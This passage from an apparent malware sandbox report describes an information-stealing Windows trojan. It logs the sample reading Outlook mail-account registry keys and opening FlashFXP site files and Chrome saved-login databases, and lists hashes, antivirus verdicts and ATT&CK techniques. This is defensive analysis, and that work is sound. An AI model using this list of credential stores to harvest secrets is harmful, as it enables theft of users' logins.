SUBSYSTEM\PROFILES\OUTLOOK\0A0D020000000000C000000000000046") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\138DCA565BB5D44BB352531444582D19") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\13DBB0C8AA05101A9BB000AA002FC45A") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\1BD3A9FD47DB59488932AB5BD2F9B85D") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\48E46FEC31FE7C44B48399C0DF3C12D4") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\547A0ACD3CA07C448367134F09A9ADBE") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\55A74B2BFD73304197DCC530AEB61B7D") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8503020000000000C000000000000046") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9207F3E0A3B11019908B08002B2A56C2") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP EMAIL ADDRESS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP SERVER") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 SERVER") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 USER NAME") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP USER NAME") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "NNTP EMAIL ADDRESS") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "NNTP USER NAME") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "NNTP SERVER") "bounty-54562402545397328.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "IMAP SERVER")4c:Tb46,"bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\3\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\4\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\3\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\4\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\3\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FLASHFXP\4\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\3\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\4\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\3\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\4\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\3\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\ProgramData\FLASHFXP\4\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\3\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\4\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\3\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\4\QUICK.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\3\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\FLASHFXP\4\HISTORY.DAT" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal" "bounty-54562402545397328.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal" "bounty-54562402545397328.exe" trying to open a file "%APPDATA%\FLASHFXP\3\SITES.DAT" "bounty-54562402545397328.exe" trying to open a file "%APPDATA%\FLASHFXP\4\SITES.DAT"4d:T55b,Found string "" (Indicator: ".googleapis.com"; Source: "00000000-00005872.00000001.148046.001F0000.00000004.mdmp, 00000000-00005872.00000002.149970.001F0000.00000004.mdmp") file/memory contains long string with (Indicator: ".googleapis.com"; Source: "00000000-00005872.00000001.148046.001F0000.00000004.mdmp, 00000000-00005872.00000002.149970.001F0000.00000004.mdmp") Found string "" (Indicator: "githubusercontent.com"; Source: "00000000-00005872.00000001.148046.001F0000.00000004.mdmp, 00000000-00005872.00000002.149970.001F0000.00000004.mdmp") Found string "" (Indicator: "githubusercontent.com"; Source: "00000000-00005872.00000001.148046.001F0000.00000004.mdmp, 00000000-00005872.00000002.149970.001F0000.00000004.mdmp") Found string "" (Indicator: ".googleapis.com"; Source: "00000000-00005872.00000001.148046.001F0000.00000004.mdmp, 00000000-00005872.00000002.149970.001F0000.00000004.mdmp")4e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAA7u7u7u7u7u7u7u7uAAAADu7u7u7u7u7u7u7u7uAAAO7u7u7u7u7u7u7u7u7uAA7u7u7u7u7u7u7u7u7u7uAO7u7u7u7u7u7u7u7u7u7gDu7u7u7u7u7u7u7u7u7u4A7u7u7u7u7u7u7u7u7u7uAO7u7uj/7u7/+O7uj/ju7gDu7u7v/+7u///u7o/47u4A7u7u7/+O7v//7u6P+O7uAO7u7o///u7//+7uj/ju7gDu7u7///7u///u7o/47u4A7u7u/4/+7v//ju6P+O7uAO7u7v+P+Oj//47uj/ju7gDu7u7/6Pjv+P/+7o/47u4A7u7u/+j/7/iP/u6P+O7uAO7u6P/u/+/+7/juj/ju7gDu7u//7v+P/u//7o/47u4A7u6P/+7/j47o/+6P+O7uAO7uj//u//+O6P/uj/ju7gDu7v/47v//7u7/7u7u7u4A7u7//u7//+7u/46P+O7uAO7u//7uj//u7v/+j/ju7gDu7v+O7o//7u7//o/47u4A7u7u7u7u7u7u7u7u7u7uAO7u7u7u7u7u7u7u7u7u7gDu7u7u7u7u7u7u7u7u7u4ADu7u7u7u7u7u7u7u7u7gAADu7u7u7u7u7u7u7u7uAAAADu7u7u7u7u7u7u7u4AAAAAAAAAAAAAAAAAAAAAAAD/////8AAAD8AAAAPAAAADgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABwAAAA+AAAAPwAAAP/////w==4f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAA7u7u7u7u7u7u7u7uAAAADu7u7u7u7u7u7u7u7uAAAO7u7u7u7u7u7u7u7u7uAA7u7u7u7u7u7u7u7u7u7uAO7u7u7u7u7u7u7u7u7u7gDu7u7u7u7u7u7u7u7u7u4A7u7u7u7u7u7u7u7u7u7uAO7u7uj/7u7/+O7uj/ju7gDu7u7v/+7u///u7o/47u4A7u7u7/+O7v//7u6P+O7uAO7u7o///u7//+7uj/ju7gDu7u7///7u///u7o/47u4A7u7u/4/+7v//ju6P+O7uAO7u7v+P+Oj//47uj/ju7gDu7u7/6Pjv+P/+7o/47u4A7u7u/+j/7/iP/u6P+O7uAO7u6P/u/+/+7/juj/ju7gDu7u//7v+P/u//7o/47u4A7u6P/+7/j47o/+6P+O7uAO7uj//u//+O6P/uj/ju7gDu7v/47v//7u7/7u7u7u4A7u7//u7//+7u/46P+O7uAO7u//7uj//u7v/+j/ju7gDu7v+O7o//7u7//o/47u4A7u7u7u7u7u7u7u7u7u7uAO7u7u7u7u7u7u7u7u7u7gDu7u7u7u7u7u7u7u7u7u4ADu7u7u7u7u7u7u7u7u7gAADu7u7u7u7u7u7u7u7uAAAADu7u7u7u7u7u7u7u4AAAAAAAAAAAAAAAAAAAAAAAD/////8AAAD8AAAAPAAAADgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABwAAAA+AAAAPwAAAP/////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"0450c7e6c413a63af47c0474a8a8f8e0c63c5acdf098b8e619f437d0cf4d829c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791475036287,"unified_at":"2026-10-08T15:57:16.287Z","metadata":{"hashes":{"sha256":"0450c7e6c413a63af47c0474a8a8f8e0c63c5acdf098b8e619f437d0cf4d829c","sha1":"6a13bc929eea9d9b0b11478cd2b29386b1df5d37","md5":"0ed7d62fc09814ce1f8f7b3b88b8a081","sha512":"60e811bb27be4105348041a1f0e70ac9be85c29c9d291dc3c928483da3f9b8a5c6f7f9f7093596987012fa6d58ed7bf85d1b2bd537a29060b9259aef0132ab4b","ssdeep":"1536:zzq+5hRpfv07XCH8mIahlh/EoP9fJtfG+v/kjC/ExN49ZPFfq8mJ:ECGahZJtfG+9E2ZPQ","ssdeep_chunks":["1536:zzq+5hR","1536:zq+5hRp","1536:q+5hRpf","1536:+5hRpfv","1536:5hRpfv0","1536:hRpfv07","1536:Rpfv07X","1536:pfv07XC","1536:fv07XCH","1536:v07XCH8","1536:07XCH8m","1536:7XCH8mI","1536:XCH8mIa","1536:CH8mIah","1536:H8mIahl","1536:8mIahlh","1536:mIahlh/","1536:Iahlh/E","1536:ahlh/Eo","1536:hlh/EoP","1536:lh/EoP9","1536:h/EoP9f","1536:/EoP9fJ","1536:EoP9fJt","1536:oP9fJtf","1536:P9fJtfG","1536:9fJtfG+","1536:fJtfG+v","1536:JtfG+v/","1536:tfG+v/k","1536:fG+v/kj","1536:G+v/kjC","1536:+v/kjC/","1536:v/kjC/E","1536:/kjC/Ex","1536:kjC/ExN","1536:jC/ExN4","1536:C/ExN49","1536:/ExN49Z","1536:ExN49ZP","1536:xN49ZPF","1536:N49ZPFf","1536:49ZPFfq","1536:9ZPFfq8","1536:ZPFfq8m","1536:PFfq8mJ","3072:zzq+5hR","3072:zq+5hRp","3072:q+5hRpf","3072:+5hRpfv","3072:5hRpfv0","3072:hRpfv07","3072:Rpfv07X","3072:pfv07XC","3072:fv07XCH","3072:v07XCH8","3072:07XCH8m","3072:7XCH8mI","3072:XCH8mIa","3072:CH8mIah","3072:H8mIahl","3072:8mIahlh","3072:mIahlh/","3072:Iahlh/E","3072:ahlh/Eo","3072:hlh/EoP","3072:lh/EoP9","3072:h/EoP9f","3072:/EoP9fJ","3072:EoP9fJt","3072:oP9fJtf","3072:P9fJtfG","3072:9fJtfG+","3072:fJtfG+v","3072:JtfG+v/","3072:tfG+v/k","3072:fG+v/kj","3072:G+v/kjC","3072:+v/kjC/","3072:v/kjC/E","3072:/kjC/Ex","3072:kjC/ExN","3072:jC/ExN4","3072:C/ExN49","3072:/ExN49Z","3072:ExN49ZP","3072:xN49ZPF","3072:N49ZPFf","3072:49ZPFfq","3072:9ZPFfq8","3072:ZPFfq8m","3072:PFfq8mJ","1536:ECGahZJ","1536:CGahZJt","1536:GahZJtf","1536:ahZJtfG","1536:hZJtfG+","1536:ZJtfG+9","1536:JtfG+9E","1536:tfG+9E2","1536:fG+9E2Z","1536:G+9E2ZP","1536:+9E2ZPQ"],"imphash":"88318d0a74542a043a5bad06ad4fd2a7"},"file_info":{"file_name":"bounty-54562402545397328","file_type":["peexe","executable"],"file_type_id":"exe","file_size":66419,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1710088890000,"last_seen":1733092478000,"last_multi_scan":1733092478000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["injector","commodity","criminal","downloader","informationstealer","pony","banker","fareit","trojan","malicious","meterpreter"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":75},"sandbox_signatures":{"informative_count":163,"suspicious_count":20,"malicious_count":18,"total":201},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.Gimemo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Spy.Zbot.ajoumea","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKDZ.13296","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Injector.AFJX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Injector.AFAQ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Injector.eg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004e51011 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Zbot.lIQm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenDownloader.ag","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Kazy.cuilml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKDZ.13296","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABRisk.VQYE-6948","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.VIO","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.CLR.9307","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_37.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Inject.Win32.58347","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create/open files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","identifiers":[{"type":"suspicious","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution 